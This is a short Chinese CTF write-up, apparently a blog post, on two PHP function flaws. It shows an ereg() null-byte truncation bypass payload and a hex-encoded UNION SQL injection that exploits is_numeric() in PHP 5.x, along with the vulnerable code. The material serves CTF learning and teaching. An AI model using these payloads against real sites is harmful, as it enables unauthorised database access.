CTF web题总结--php函数漏洞

php函数漏洞总结
1、ereg()截断漏洞
代码:

<?php
session_start();
if (isset($_POST['submit'])) {
  $verifycode = $_POST['verifycode'];
  $b = false;
  if (@ereg("^[1-9]+$", $verifycode) === FALSE)
  {
    $b = false;
    echo 'b is false';
  }
  else if (strpos($verifycode, 'xiaoboshifudaiwofei') !== FALSE)   
  {
    $b = true;
     echo 'b is true';
  }
}
?>

payload:

9%00xiaoboshifudaiwofei

2、is_numeric()漏洞
代码:

 if(!is_numeric($page)){
              die("page must be a number!");   
          }
          if($page<1) $page=1;

          $sql="update page set num=$page";
          $res=mysql_my_query($sql);
          if($res){
                echo "<script>alert('update  success!');</script>";
                echo("<script>location.href='./index.php?action=admin&mode=index'</script>");

          }else{
               echo "<script>alert('update  fail!');</script>";
               die();
          }

php 5.x 版本中 is_numeric 的缺陷 (php7.0 已经修复了 ), 它认为 0x…. 是整数

import binascii
a='1 union all select flag,flag,flag,flag from flags'
binascii.hexlify(a)
3120756e696f6e20616c6c2073656c65637420666c61672c666c61672c666c61672c666c61672066726f6d20666c616773

page:

0x3120756e696f6e20616c6c2073656c65637420666c61672c666c61672c666c61672c666c61672066726f6d20666c616773
  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值